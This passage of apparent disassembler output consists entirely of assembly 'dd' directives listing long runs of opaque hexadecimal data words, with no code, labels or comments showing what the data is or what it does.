		dd 7104F515h, 0EC9DDC51h, 0A0AC3C28h, 1729058Ch, 57F9849h
		dd 0C89BB93Ch, 74400CC0h, 0EC28E963h, 3E434580h, 1006A86h
		dd 928DC14h, 1F82117Dh,	8A3DFE61h, 8388E01Fh, 0E1E949E2h
		dd 0A774A80Dh, 0C000C95Ah, 0F1C44DCDh, 0DC9C0804h, 344EE5C0h
		dd 0F8D853E3h, 4EDD9A80h, 7021C17h, 8D68E67Bh, 9D78C23Ah
		dd 8BA9119Ch, 98ED00ABh, 0E6F448E0h, 9AA70CD9h,	42716B65h
		dd 393180FDh, 972DF01Eh, 0A409017Dh, 8F651450h,	0E8C83CF6h
		dd 270E8CF5h, 41C45178h, 747A3009h, 0A0008069h,	7B66262Fh
		dd 8A09EBB4h, 67AE7F70h, 62766464h, 0BE60F564h,	0C800BD8Ah
		dd 4F0286EFh, 9E2A64Ah,	1F64BB69h, 0A1E4E4E5h, 74B14A63h
		dd 0F4B980E4h, 6CA8FBEDh, 0EAB0023Fh, 0F64CE55Ch, 0A0E4B445h
		dd 0C1702567h, 8C9E1484h, 69E77319h, 0CE4F03C4h, 5DCDCC77h
		dd 83E4E380h, 0B135F200h, 0BB34113Eh, 449240Fh,	0CEDA85ACh
		dd 20F4A795h, 4C170BA5h, 0D8609293h, 913911E2h,	18007904h
		dd 0C53DCD78h, 165F58E0h, 0D8DD32E7h, 0B5837138h, 466E2038h
		dd 14C4263Ah, 0BA8F0ADCh, 80849775h, 658979C3h,	0CCF01AE7h
		dd 0B5F3BE12h, 7658E804h, 19A4BE1Fh, 106218E7h,	185C693Ah
		dd 90168120h, 8440A93Bh, 0CDC1CBAh, 9975B02Ch, 76001921h
		dd 41A25B3Eh, 783691Ah,	0DB516DD3h, 0EBBD7039h,	4600D78Eh
		dd 0ED977FC9h, 1B234ECh, 3A99F1DCh, 69451C66h, 458AC88h
		dd 74DFEE49h, 0C27941EBh, 56E0171Fh, 80135B80h,	0A9D2CF11h
		dd 0BCA5B824h, 0BB5F0D01h, 8C706D5h, 0E1109B78h, 0A5F76382h
		dd 9804CB9Ah, 5DC7906Ch, 0BBC0891h, 0E00E3FCh, 1545D2ABh
		dd 0BC725449h, 0EE1A1C4Ch, 0A84674F4h, 68239A0Eh, 92223D60h
		dd 0A2000DFCh, 0EC4E255Bh
		dd 0DC7253h, 2ACCBF46h,	0B05E6402h, 0A4C434A5h,	71E1E260h
		dd 0EC278873h, 70F820C3h, 2466CBDEh, 25D4406Ah,	0D1D07013h
		dd 0A7288698h, 0C096AC17h, 0A9465Eh, 128D1AF8h,	193927Ah
		dd 0B56B5EF7h, 20AF2F5Fh, 214C5840h, 9AA850FAh,	1939911Ch
		dd 0C6FB1044h, 0F5F76483h, 5D8BB0D1h, 0DCE18895h, 0E94FB680h
		dd 6C96C663h, 0B701F59h, 0DF0D5C9Dh, 0E6C8FF1Dh, 6278080Ch
		dd 1168DB02h, 2C785624h, 0A2467484h, 0CBD17B03h, 1E0E4724h
		dd 2042CC36h, 604A8EC4h, 0E5BE07F3h, 10DEAA2Ah,	9CF6A895h
		dd 3EB74B58h, 0F2AC03BCh, 73654246h, 0E6341210h, 15A802E3h
		dd 0F861FE90h, 0BE918E0h, 0F8E3384Eh, 9E805C45h, 14164EE1h
		dd 641A049Fh, 1FB6E9DFh, 659421C5h, 23A0E8B7h, 0B5EE793Ah
		dd 0C4B12902h, 5667874h, 0B678A4C2h, 76790D12h,	6A18B45Fh
		dd 4EAA19h, 6210C58Ah, 4D075F12h, 0E7CE2301h, 0B53E8985h
		dd 0A5BCA028h, 8F88008Ch, 0C5CA8504h, 1D006018h, 0B0E0C610h
		dd 9A982115h, 0AA350A88h, 20B8DBECh, 0E4B081B4h, 0CC402CE1h
		dd 0F1B40B9Ah, 0E5B0088Eh, 41BB3225h, 35495CC0h, 0EF5020ECh
		dd 0D18FD934h, 8C2F48F0h, 0B79DE804h, 64F815h, 9DE0D158h
		dd 813C79C2h, 0F0510586h, 280F7F63h, 0DF0A7D17h, 8480D809h
		dd 4D19D9F6h, 716402C7h, 87BC418Bh, 0F6D938F9h,	0C4002518h
		dd 74B73CB5h, 518F82Ah,	9B9E1541h, 0EB78C8C3h, 8FFE63FAh
		dd 7FF96703h, 0D0D93C47h, 240F8810h, 82457CFh, 30395AC8h
		dd 0DBF394Ch, 83C397Fh,	0E8E92879h, 0FC72026Ch,	0AD7DEF63h
		dd 0C3FD7001h, 5C1F0C22h, 0F24A8050h, 2228D7DBh, 9739AB1Eh
		dd 6C997940h, 309AED96h, 5531185Dh, 0A309419Bh,	615929E5h
		dd 0F832456Ch, 17430077h, 741BD74Dh, 0E2DDB90h,	0F2300085h
		dd 14E3BD82h, 0E8E82141h, 0E5A2B605h, 10698649h, 57781613h
		dd 5DE46880h, 938F2EB5h, 638CA418h, 0CB9630Dh, 0DF65E432h
		dd 60C197F0h, 6D5028B5h, 930C0862h, 0F699E574h,	2FB54B00h
		dd 0BA7347ADh, 0F1713FFh, 0E40094Ch, 0F11F5872h, 0C707E795h
		dd 9D4669AAh, 60808119h, 9549E210h, 7409D0B6h, 3BC2B0Eh
		dd 1BAB506h, 0DC6D0F88h, 83B01068h, 0B701441h, 14C87DB9h
		dd 9C09B531h, 0F7668903h, 38279F5Dh, 0DA89115h,	0CB96A1F0h
		dd 28687518h, 68139018h, 0F88EC655h, 22C06D88h,	60CD2183h
		dd 0BC4A8008h, 0FE4882F5h, 0F42C5068h, 227025E7h, 30F2F2F4h
		dd 9901BC82h, 346656C1h, 0C244C45h, 5C54B6F5h, 0B200A346h
		dd 526F4F27h, 2A0195F2h, 56BC0EE4h, 0E1109775h,	2E006331h
		dd 7840601Fh, 2DA868A1h, 6C17F688h, 0E481A111h,	22126583h
		dd 189B149Ch, 0C1E98E80h, 13E44364h, 2B5A4036h,	0A42390h
		dd 7ED422C2h, 2014951Dh, 0BB877ECh, 784E8D87h, 0F5C00F3h
		dd 80015EC4h, 6A0918EAh, 223F9817h, 4A146684h, 44D84708h
		dd 9B2960A0h, 84A0970Ch, 6B851940h, 1EF6609h, 0E17CC9A4h
		dd 35F6FD10h, 177C5092h, 0C36B7017h, 0F023E03Bh, 2979A400h
		dd 60C848BFh, 0E52A4875h, 0F319174Eh, 0E4084D5Ch, 1984ACD2h
		dd 5EB09CB1h, 770FA346h, 0B0406B18h, 0DD3A8517h, 7E14912h
		dd 78E87C10h, 0EC31CE60h, 2AC94F1h, 0DFBD0BFAh,	0E07C43EDh
		dd 8355B80h, 0B8692CC7h, 0A806358Ch, 0F258A2B8h, 929A33F2h
		dd 0D9E959E0h, 48953B04h, 0ACBD63CCh, 99B0D11h,	60755E9Ah
		dd 2649E468h, 538EAF1h,	0B0DB980Eh, 0FE85A74h, 39A9F8D8h
		dd 548217EDh, 5CB00495h, 68DD0069h, 84DE6612h, 46560496h
		dd 39F700A8h, 513ADFEBh, 0A1920FD7h, 0D56B642Dh, 4BECD8E1h
		dd 0C0A6882Ch, 1C380FC2h, 9AC09E00h, 0B417F275h, 79B8B9C4h
		dd 961B1872h, 0CF240C4h, 12B0B0B2h, 375EBC27h, 3E2C00ACh
		dd 1069A396h, 5089A49h,	0A78B5FB4h, 0D1115091h,	0A46CE435h
		dd 8CA8BCh, 0A9B793D2h,	78AE9DC7h, 0DA55F05h, 98948DDFh
		dd 622EFCE2h, 0D07CF008h, 1C072602h, 59E675h, 0E76D54C3h
		dd 1545621Dh, 0C1514B80h, 7CC03ADBh, 0BBA21344h, 572C041Ch
		dd 0E4100A95h, 0E43445A5h, 3E17070h, 55430001h,	0BA326C91h
		dd 95007C17h, 27638745h, 0A2C00DBBh, 327C61B4h,	0FCD1FC61h
		dd 0B7B0E004h, 91749D95h, 3F9A8572h, 0C10D39C1h, 0FFF83030h
		dd 0E7DF6300h, 60153C12h, 44E060B6h, 5C000E18h,	0C14B1A31h
		dd 58667599h, 4784ECDCh, 808149Dh, 91948BDFh, 1D3580ACh
		dd 9E3714E7h, 2DCE58B8h, 3CC61D03h, 0ECA116E4h,	6FB4AC90h
		dd 133CB463h, 0FD04088Ah, 5AA1963Eh, 908E2C24h,	0B6C0A688h
		dd 4C6009A1h, 9600F17Dh, 0BFCE563h, 549E1669h, 1B978E83h
		dd 49E10BA8h, 0D4AEE781h, 0C13DB165h, 0EE85A944h, 9919C4E0h
		dd 1E429B80h, 0D217C0D9h, 0A2CCF364h, 9EDB30A2h, 1950BD58h
		dd 0D16093CCh, 0FC72B075h, 4031A7F2h, 0D4ABC4h,	87D0EFA1h
		dd 0F68941E3h, 5C9AD0C4h, 0FBF3888h, 0A0646617h, 23EC3AB2h
		dd 40B00A4h, 1B4774F4h,	9917660Dh, 28CCB88Fh, 4C6C4868h
		dd 47AA7000h, 0B5BABB40h, 0E4EA2108h, 9AEC8496h, 0F0E8B55Fh
		dd 50DED5Bh, 48A58D17h,	242E41ECh, 8C70C60Bh, 0F418B489h
		dd 2C61051Dh, 3965F104h, 0F0DEB893h, 9DC44359h,	5780C0B5h
		dd 3FDF3D81h, 63111284h, 2EA87468h, 0A423C4h, 34E2F41h
		dd 4A129B3Fh, 0F4C0AAB9h, 71AF8AE4h, 499F4F97h,	90D8B14Ch
		dd 1DC14BCh, 8509CA13h,	40DE9129h, 0BBD515F4h, 0A2D1DCB9h
		dd 2F0BC018h, 12DFA1FFh, 152000D4h, 0B1613C19h,	0FDE71DE4h
		dd 90762542h, 89DE9D1Ch, 66C31107h, 1CD219Fh, 5971BD5Fh
		dd 894C49Ah, 0AA1F8003h, 0D8EB97BCh, 3ADB9CD0h,	0A01741Ah
		dd 0DA8D9D9Eh, 328ED0A5h, 119DD5Ch, 0C277414Fh,	9CDC8A2Ah
		dd 9DBD12DAh, 0C0CA1D8Ch, 8E6B1EBBh, 8FE83E8Bh,	435DE30Eh
		dd 45C20190h, 299ADBA7h, 180121B3h, 8EBE02E3h, 895E0A48h
		dd 7350400Eh, 175A16C6h, 0C80C8B4Ch, 44A6C0F4h,	0D7137B95h
		dd 64F65FCEh, 98CEB6E0h, 2EF01B5Ch, 8E82940Dh, 4A69DEE9h
		dd 0E0184D18h, 3E8DC6A0h, 5C27B40Ch, 98E76002h,	6720BAF0h
		dd 0B2846139h, 8868B590h, 18749BB9h, 0B193E9C0h, 93BEE9Ah
		dd 3654983h, 0D9EC6800h, 0BE4CE9EFh, 0F0485668h, 125B47B5h
		dd 40DB0F66h, 0B26B0C38h, 8C1C9221h, 0B7ED5ADAh, 87AF0054h
		dd 5F64D6D9h, 0F0AA712Dh, 220227B9h, 0A6E43845h, 0D6EACA60h
		dd 96E7F404h, 60C27645h, 24452936h, 8A61EEE4h, 0C921E0D7h
		dd 2CF8F251h, 8CA5BC30h, 1CF7939h, 19789F9Ah, 7C621B69h
		dd 5B681404h, 2162009Ch, 89910349h, 0DBF10A9h, 0FDE40F6Fh
		dd 5F891117h, 0ACF30089h, 0B5C670h, 0AD9DF432h,	0B3178A47h
		dd 5012E312h, 24823C84h, 0F755275Bh, 7CC2DB21h,	620C9060h
		dd 0E01C5E27h, 80B56798h, 0AB56DCE2h, 8D3EB148h, 5CE5D4h
		dd 0F21BFD3Dh, 0F447315Bh, 61DF6709h, 0E380F51h, 39DBDCFh
		dd 9C494EFDh, 7A4D168h,	0CBC4813Eh, 0A711A41Dh,	0B271CA80h
		dd 5D042E81h, 8AA47C70h, 3368B48Ch, 83318D11h, 6845EFA1h
		dd 80DC2C04h, 27153308h, 72919417h, 0EAA7548Fh,	174A9085h
		dd 8D543C49h, 6B49E5B8h, 0D01880F8h, 0A0C05AF1h, 9E88289Fh
		dd 0F64676A0h, 2557E700h, 19C7C5BFh, 0C4840B0Ch, 17D9962h
		dd 0F6493F9h, 0C4DCB186h, 0F4267549h, 0C5444890h, 0A1E208A3h
		dd 0E43C2230h, 1569293Bh, 0A11600E0h, 2AED57E5h, 2445BA00h
		dd 0EC9A4AAEh, 19E31270h
		dd 19C4A1F1h, 0DDB802CCh, 3F4EE630h, 0AF21E335h, 87AB9B67h
		dd 0D31EC08h, 0A4424611h, 5B8C7088h, 0C068DA44h, 0DFE06FA9h
		dd 44605A9Ah, 0F81468DCh, 0FD985CCh, 4460D489h,	202898B5h
		dd 119DE601h, 7CDC0BFCh, 531800D5h, 0D3032194h,	9300051Dh
		dd 880E23B4h, 4B2915D9h, 35E48240h, 649514C1h, 0CCA18DF4h
		dd 0EC5879FCh, 345B01F0h, 9A8E1975h, 0E4684068h, 0FF61F129h
		dd 54AA0B68h, 484C4430h, 0F7F8406Bh, 37C0068Ch,	0C6E30C4Ch
		dd 786DB600h, 4B8283DBh, 51ED26C8h, 48B50248h, 0B05A63F8h
		dd 0BCB0BD24h, 0DBFA531Ch, 76B42011h, 89D59505h, 2CC61B74h
		dd 2CA600D9h, 7EF16BEDh, 0A40B0DB6h, 68A91h, 0DC40B461h
		dd 0B59C013Eh, 4E1674E7h, 0A87CC68Bh, 0F1465Eh,	0BFB4A6BDh
		dd 4BD39814h, 4D640199h, 6CE777B7h, 11E61CC8h, 4C2E352h
		dd 0F9B0B167h, 0DB04F038h, 0A2B05E63h, 33A2F244h, 0F2E80AA9h
		dd 0DF950040h, 4BBF4D13h, 14CB8C12h, 80C0A8C8h,	1C7AD653h
		dd 0F437EFh, 0DF688981h, 6890D12Eh, 64289709h, 218C5B5Ah
		dd 18A5515Ch, 87F001F8h, 4C3F6EF2h, 488430AAh, 77358840h
		dd 807D4BE5h, 0E7EA1BB4h, 0DC818CB6h, 984331DDh, 21309211h
		dd 3D10F414h, 6C62B200h, 0EAE770C9h, 0CBC44B6Ah, 0C07288A8h
		dd 0B964E02Dh, 0ACB77528h, 465EC8BCh, 0B56E00F5h, 0C4421372h
		dd 3BFF4F24h, 1752380h,	12546937h, 0FFD1C4F1h, 2098F651h
		dd 5989830Ch, 0C2B4242Bh, 0B4563250h, 465C6068h, 0C5FF00F7h
		dd 95C242E4h, 5540232h,	0D2983CCh, 0AC8A6848h, 9817692Fh
		dd 0B087E70h, 94F7980Fh, 0C3102468h, 0D40B04E9h, 0F6A42209h
		dd 7974D98Dh, 37E18F6h,	0BC1F996Ah, 29AF169Bh, 17007051h
		dd 21E6CE61h, 1D000A9h,	8ED392BAh, 78010723h, 10958A33h
		dd 390068DCh, 745ADEEAh, 0A0D86C40h, 5554E1h, 24D696Ch
		dd 2AEADFD6h, 3C988AB0h, 1F6344h, 0F5C96ACEh, 3A428190h
		dd 0B9AEB17h, 0CBC3F500h, 0D2E3E697h, 23CC3A60h, 548538A2h
		dd 1E6EA06h, 0B6429B1Ch, 111CD343h, 0D4802173h,	4889F307h
		dd 807C61F7h, 20A998E4h, 0E65A4508h, 9FC8E88Eh,	65EC75C0h
		dd 13414B17h, 0BBE4E024h, 69E8A0A0h, 9A989183h,	20419092h
		dd 0C80CE9D0h, 0D8D1062Ch, 4529923Dh, 709BA484h, 18DA00D3h
		dd 0DC149B95h, 30D2D4A9h, 0FA12479Ah, 0CE3A63Dh, 73E8C858h
		dd 3857008Ch, 6CCF2DBCh, 3A00DC53h, 3FE4A812h, 9C0C9B65h
		dd 0A4C3932Ch, 5A3DAFDCh, 2BD3802Dh, 3EFF4AF2h,	0BD08001Ch
		dd 7B791FF7h, 7C4B2528h, 84EC3494h, 2E8C6EBCh, 800FC4Fh
		dd 3E0579CCh, 50B9C159h, 30C2EF25h, 0A5E4CCC7h,	0FB375F60h
		dd 7ABC641Fh, 0B6D76004h, 7BD9DC80h, 59452731h,	0A1E4BCC5h
		dd 73EF3960h, 0DC80F4BEh, 862D3102h, 215C9845h,	411E7868h
		dd 0E8B3F797h, 4230A1B2h, 0C02B0208h, 6421770Dh, 7AC2605Ch
		dd 0B557108Dh, 92E55645h, 0ACB00414h, 0CAC0075Fh, 58DC4182h
		dd 0CBBE0080h, 9EA60CF2h, 3B09C84Ah, 60820F69h,	4A6F949Ch
		dd 420CA437h, 0DF645405h, 0B0E0A329h, 0EC1F899Ah, 8D00DE32h
		dd 522E3466h, 70CB468Bh, 44145021h, 40744AECh, 29BF760Ch
		dd 0D400A6DDh, 64CF2593h, 0B22F36h, 0A8D85B54h,	7014ED19h
		dd 3C9FF32Eh, 53919B41h, 0B9DF74D0h, 0C0A59D88h, 9A6F0627h
		dd 9F018198h, 0FEE694F5h, 5CF2D295h, 2B15009Ch,	0B798C635h
		dd 69C45312h, 8EDB2C40h, 33F3667h, 0F22264DFh, 5C98B228h
		dd 6602878Fh, 0F419152Bh, 6AB8A275h, 16CF2A8Ch,	9210084Eh
		dd 13781485h, 0B71194C8h, 0ED426C20h, 934C4CDCh, 0A7851038h
		dd 0BFA0C34Ah, 2A1686C8h, 0E20E9B12h, 208EC422h, 681787E4h
		dd 7481FB5Fh, 8C286DDCh, 84BDAF22h, 5D017B44h, 0B42DFFh
		dd 74E9E38Ah, 63EB0910h, 445A3DEFh, 73A84919h, 0E6105AD1h
		dd 0AC242141h, 46765494h, 0BCF501A4h, 0F12B28C6h, 44F98460h
		dd 44878BB5h, 0FDA160F5h, 76370113h, 42FBBD2Ch,	0A5FC30A3h
		dd 9D910C2Fh, 80A71114h, 1AACD578h, 0E538036Ah,	0E975196Bh
		dd 88727900h, 7E1D08FCh, 0A9798Eh, 8553493Eh, 0C840B518h
		dd 3984095h, 0B4BD54F7h, 0E8D63045h, 3B5E8340h,	4DF6882Fh
		dd 497B600Ch, 743323ABh, 77F4199Bh, 1FC400B2h, 5D11B8B5h
		dd 380114E0h, 288FB667h, 34348794h, 108D1656h, 925C4A34h
		dd 286549ECh, 4A6075E4h, 4077E4B1h, 28B2F50Bh, 2459EFh
		dd 19518C93h, 30FABE25h, 9EEAFDF4h, 455DB716h, 0F288488Bh
		dd 797E6C0h, 0D3F03AACh, 994DBF1Dh, 6C5E2E42h, 17CF25B0h
		dd 806D9174h, 87436954h, 99AD138Eh, 166C4113h, 905B98h
		dd 770121E4h, 0DB925BF3h, 0A4ED80E0h, 0EF1821Ch, 0AE64FEDCh
		dd 0F77395A0h, 554B999Ah, 2B6AFC9Dh, 1DF623B4h,	73C4C02Ch
		dd 98EDC61h, 5FC3C118h,	7F40FBE9h, 39F7E07h, 0A4E59D16h
		dd 8789B8Eh, 0D02B9C37h, 0B4E3104Ch, 0F1465E68h, 0C66B8E01h
		dd 32659AE8h, 0A0422F9Ch, 0A29FD3B8h, 2B0F02EFh, 16CE545Bh
		dd 465EA0D4h, 2CDB00F4h, 511CD8C2h, 205CB0BEh, 80B971ECh
		dd 92387300h, 0CBD9B6h,	0F50A640Eh, 9F5B65EDh, 0C0D56701h
		dd 8730490Fh, 1068DA00h, 0C80DB74h, 0B9F209CEh,	54D133EAh
		dd 98B8E6A7h, 200C95DFh, 6C40A080h, 0B7E71867h,	6D8B18D9h
		dd 0EC6B454Ah, 9BA5C70Eh, 0C837C400h, 5C028587h, 1C198D3Dh
		dd 6C3C5E9Eh, 0DE4147B9h, 43B80069h, 208FBA01h,	0F364864Dh
		dd 259817D4h, 0A07297F7h, 5C828D70h, 1474518Ch,	0A5C57481h
		dd 0A38CB804h, 0B402A4DCh, 0CCF4AF97h, 44DBB917h, 0ABF62B80h
		dd 112F8352h, 2180BA1h,	0B42300h, 416518BFh, 0E26AE525h
		dd 0E0DCCD4Ch, 67B53618h, 0C80574Bh, 719B5563h,	96A4B85Eh
		dd 6E467460h, 0F229077Fh, 55E5B416h, 0C3CFD79h,	68BB9F60h
		dd 8980EB42h, 34F4B14Eh, 21005104h, 1F20F77Ch, 1956B2Dh
		dd 3AD90394h, 0C9118D6Fh, 9A4889EDh, 64ACE863h,	0F3E53E29h
		dd 0DF4A9140h, 0E0F6C016h, 4B535DE0h, 6D903917h, 41468F0h
		dd 8A1DB109h, 0D87CE574h, 15E878DEh, 4BAAB400h,	96542AF8h
		dd 0E83C9216h, 9CE550BAh, 0BD69042Ch, 0CCB46342h, 0AFB7749Ch
		dd 9EB5C07Ch, 75B2BFh, 0C5060AF4h, 0C432F288h, 805CB597h
		dd 65C4057Bh, 84B86321h, 85F7C20h, 0B6B1EFD9h, 62670D0Fh
		dd 5E9C6245h, 0CF26068h, 0D9176ABAh, 10C04C74h,	3A43E599h
		dd 0C84B0AF8h, 6F24B448h, 20891807h, 0BEB4F08Ch, 0A6467410h
		dd 71B7507h, 8009E5B4h,	324117F0h, 467CE8BEh, 13E418EFh
		dd 0B5E819B0h, 0A6E30422h, 2711E206h, 0BC4EA8A7h, 9E6FB0A0h
		dd 8FD229C4h, 0F097B4CCh, 224C0020h, 2440D554h,	961D7C66h
		dd 0A3CEDC1Ch, 0F4C89606h, 955113CEh, 13730F8Dh, 0B167C05Eh
		dd 9496C1A6h, 0F8656E00h, 7E0F14EBh, 0A4211515h, 5579D483h
		dd 1C23C8DFh, 0B30A0A2h, 0E0144C9Bh, 45F76581h,	602C058Dh
		dd 4CC6FAEBh, 53020647h, 0E52AECA4h, 4BBF2C48h,	0E4EBCF00h
		dd 182B468Ch, 0BC9752F1h, 6D39651Fh, 0A5E4B0C5h, 60226B60h
		dd 80C12550h, 6811E725h, 5CC31B84h, 409E5867h, 76A8393Bh
		dd 6B046FF2h, 7413A65Fh, 35BAB3C4h, 900ADDCh, 40DBEBh
		dd 0E56B61FFh, 0C88B4E87h, 1A5E6804h, 22789888h, 4300BD13h
		dd 7BDB410Bh, 4A21B73Eh, 0DAFCC811h, 64F4C795h,	0F78D60A7h
		dd 6DD526C6h, 0F780B0Ch, 93233802h, 0B9DC04h, 2AD1BDCDh
		dd 0BC04E06Eh, 0BC63BD4Eh
		dd 443F81ECh, 446B7BC4h, 0BCC549CCh, 0ADB0780h,	1EC09D66h
		dd 144C8D6Bh, 0F8BC6AC3h, 0E8D7FC50h, 8CE44B5Ch, 0DC0090CCh
		dd 8C6ADEBBh, 3A5AEBEFh, 890F744Dh, 59C79CD0h, 0B1DD40F0h
		dd 0DF03750Fh, 0F67773CEh, 812934A9h, 0B1180621h, 0BC3A49B4h
		dd 9097798Fh, 4C658C38h, 4812601Ah, 0B284B37Dh,	65A630EEh
		dd 0D4B520Fh, 31984BB8h, 74705CECh, 5A5E4083h, 0F583109h
		dd 0A33C5298h, 0E73C32Ch, 6510E921h, 4C4CA692h,	8C70B830h
		dd 5319A005h, 1826468h,	88E4DEAEh, 0C2168D38h, 0EB5F6C20h
		dd 6DE1133Fh, 0D0CC01C5h, 3F092FADh, 0C63B4844h, 0E2D720B8h
		dd 3075F224h, 0E01E426Ch, 0C9C0488Dh, 5BDB15EEh, 732E0007h
		dd 262746E9h, 0A12EB169h, 0DA3F0860h, 0A723103Ah, 0A3072401h
		dd 0ECD06786h, 50425BE4h, 0D01FDA6Ch, 3C94C0A8h, 312F2745h
		dd 6B2E3EECh, 9311F479h, 2CB40F00h, 0EC1AF7Ch, 6846E300h
		dd 35C2EDB1h, 0D0A995B5h, 1A618C4Dh, 0C8254159h, 23003A2Eh
		dd 4A9E009Fh, 0E467BDC2h, 9170509h, 2930E0BBh, 0BF09958h
		dd 1842C9EFh, 0DCF8D4h,	1221BDEDh, 1848972Fh, 27656B40h
		dd 0A467DB0Fh, 0D260A8C4h, 2803CFC6h, 1FD91B4Ah, 0B8B81071h
		dd 0EF630473h, 0A113B12Dh, 41B030B4h, 38E3E04Ah, 1A30A4B2h
		dd 2C2E0134h, 0E063A01Eh, 407EF650h, 0BE8F00F4h, 3DB707DDh
		dd 6C5EC375h, 494854D1h, 3507960h, 1158919Eh, 2C90F32Fh
		dd 2A0BF1D2h, 7165EABCh, 4B02A58h, 9D0EB104h, 0B8B4AD5Eh
		dd 0EAE90035h, 0F1C5AD9Fh, 0B6003D5Bh, 0ACAA63EFh, 59077814h
		dd 4B1C4CA9h, 84E4E586h, 0C73CCD95h, 0B6AF01Eh,	122F15FCh
		dd 0F7244893h, 35905A0Dh, 0A9B8ED3Ch, 0F2C5EBC0h, 0E4E91791h
		dd 30D4A549h, 0C9C9A3A4h, 0F9A00958h, 18A4F158h, 0C0641F9Dh
		dd 0E9D68793h, 75E18CD9h, 6D299863h, 1CEEB0F3h,	2C9400A7h
		dd 9F183D86h, 134B708Ah, 0B0B2E417h, 903076F2h,	0EE770025h
		dd 2A97395Fh, 0DF5076B3h, 9E4033D4h, 3CB8B8h, 0AFC0E335h
		dd 6F02215Bh, 6EA0F727h, 56849640h, 0DA17EF46h,	88580E3Fh
		dd 0B9D94ABFh, 346D2DD8h, 1605C1C0h, 0DCDD4BB3h, 0AD86FFE8h
		dd 78B96030h, 0E02D6C88h, 3F346875h, 35B10ED1h,	0EC082ECh
		dd 72D7DF6Fh, 68992307h, 0B7F01ABFh, 7363DD78h,	174096F7h
		dd 47DCE0E7h, 0EBD8209h, 8A450C5h, 0C94F807Ch, 0B08E6304h
		dd 9646EBAh, 0B0233921h, 2D8FB4E8h, 448B5BFh, 0CA9DE439h
		dd 2CFC45A8h, 6700D6F4h, 0D189558Eh, 5FD90ABCh,	0DD1488AFh
		dd 324BB700h, 60FEF35Ah, 0F81D5849h, 73655010h,	0B4351713h
		dd 5DE428D1h, 34F8E805h, 6EAA69D0h, 0F1B90044h,	0CC878130h
		dd 0BCE80039h, 5B255C7Dh, 6F0AE1AAh, 44904915h,	9CFDDF04h
		dd 3D46F200h, 619F525Eh, 54C641A8h, 4AFF3CE8h, 0E19C1A2Fh
		dd 31301855h, 0A2C0765h, 76C4558Dh, 7BFA187Eh, 1B663B16h
		dd 0A923783Ah, 0A36B350Fh, 0B7CD8304h, 192DC930h, 94DF2460h
		dd 6F467CF8h, 0EBF11860h, 252F0F03h, 0E84868ACh, 0AA3B805Fh
		dd 0E90C9B11h, 420977Ah, 0BAE3C8F0h, 417E2A04h,	38F002CDh
		dd 60BC96A9h, 0AA0D0F63h, 95247082h, 74915417h,	0CD144C80h
		dd 7809D660h, 74449094h, 0A346748Ch, 0ADC79900h, 2095BA28h
		dd 0C881C84Ah, 5E200692h, 19BB0356h, 0C7AFC511h, 8964E6E7h
		dd 0D0077F6h, 0B8095C98h, 78A02F3Ah, 0D21F5F16h, 7C624C40h
		dd 8050B55Fh, 1075F237h, 0E900FA5Fh, 0A351B54Bh, 3ADBE0h
		dd 973DDEAAh, 669ABD69h, 0B380E0BCh, 0A2B74AE4h, 3C070F85h
		dd 9904F2EAh, 0E8DCBD50h, 0FFC00B29h, 0F700D361h, 0C4B416DEh
		dd 4420C795h, 9DA060A8h, 21D10101h, 348568B4h, 79EC3012h
		dd 0A4E29643h, 1DC0E231h, 0F04F62C9h, 0F85EF514h, 0D8629561h
		dd 5D59F8F3h, 791899F6h, 791518A3h, 8654044Fh, 0AE3965F2h
		dd 0C2D1AC28h, 5F981431h, 8EFE18F8h, 0AB4D77E2h, 10A92CB0h
		dd 15FB1960h, 8E3B006Eh, 49C49506h, 0DE009E42h,	0A8DC94B6h
		dd 2AD7B37h, 9B7DDF14h,	645EB44Ah, 34C87364h, 0A72202C4h
		dd 49E56003h, 0EA382155h, 382FCCC3h, 0E1414E48h, 0F378087Bh
		dd 0E4F6F517h, 0A70ABFB0h, 1C166928h, 412564BCh, 67005E84h
		dd 107A4FDFh, 4674EC94h, 0DC7200A7h, 82356336h,	0D3E3EA98h
		dd 1BE049E8h, 30DE4885h, 0D74D2F88h, 0B26D5313h, 0BC3080D4h
		dd 0C154B7h, 6C7D7A40h,	9CE91A61h, 62A20201h, 0A27BBB6h
		dd 0F83C90D1h, 0E21C6513h, 30F4F288h, 0CC7D5EE9h, 0B4EA1000h
		dd 737014ECh, 5CC89FAAh, 0E883FD41h, 698BBED2h,	18F6A0C1h
		dd 0F64676h, 2F988E6Dh,	2905B17h, 0F7659EA9h, 0AC40BC25h
		dd 35E114F0h, 0A0B82714h, 840EDBh, 39FC45CDh, 0F1E763ABh
		dd 9B609562h, 0AC487412h, 9273D1Ch, 6622A88Ch, 108CBE4Ch
		dd 0C30B996Fh, 904DF68Bh, 8B03806Eh, 26D37248h,	16CCE2F9h
		dd 0F78CA4EDh, 0E460BC60h, 31708B64h, 42108C47h, 4A02CC7h
		dd 0A027F0Ch, 5D5C08FBh, 0E784AC81h, 702CCAC0h,	0B04F916h
		dd 38F0675Dh, 0B4FD3D03h, 25AC0F97h, 0D4709510h, 38D6A20h
		dd 0EA6B4B68h, 8FF3540Fh, 282E96BBh, 75470013h,	0F1C99Ch
		dd 0A5352848h, 561AB394h, 4BE54D39h, 95002CF2h,	10D363E0h
		dd 923E89F4h, 0E78582DDh, 4190429Bh, 0B2F53B0h,	70684354h
		dd 4E0E8F47h, 20220D7Ch, 0AB8331A9h, 0CD7D1Dh, 33E51668h
		dd 53B7CB4Fh, 0D50F040Bh, 5DEC209Ah, 0CE91E0EAh, 0C2DD4B49h
		dd 5F9B03A0h, 4130D07Ah, 8477219Ah, 1441D82h, 53603FDh
		dd 45D0FFE9h, 0B9162E66h, 0F43074EBh, 0DCA789EFh, 7BD0CB69h
		dd 1539A8A3h, 2B73C0D9h, 16BC20C8h, 23B5E367h, 0BAE88C9Ch
		dd 0EA785BC7h, 7481B164h, 701440AFh, 3B83C489h,	0CA309900h
		dd 0DB022F3h, 8DDA1CCEh, 4D5A8002h, 96C3E77Ch, 0AE2C9C9h
		dd 16821896h, 0EBD3B68h, 0CC7910A9h, 0AE4B6728h, 88A7A0D8h
		dd 5C2028AFh, 25D67C89h, 30E36D31h, 81EF64D0h, 43F0AD62h
		dd 0C2985EC5h, 7E12BC97h, 4700D410h, 4319502Ch,	90BAAD11h
		dd 99E044B8h, 0EA519709h, 0BC71DEh, 0A7661A54h,	0AB1FB615h
		dd 2244FFC7h, 44ECED9Fh, 7D400E8Eh, 0B58280AAh,	5EF04810h
		dd 4F0392Ch, 0AF5365F1h, 255A5430h, 0F04410A1h,	0E8285862h
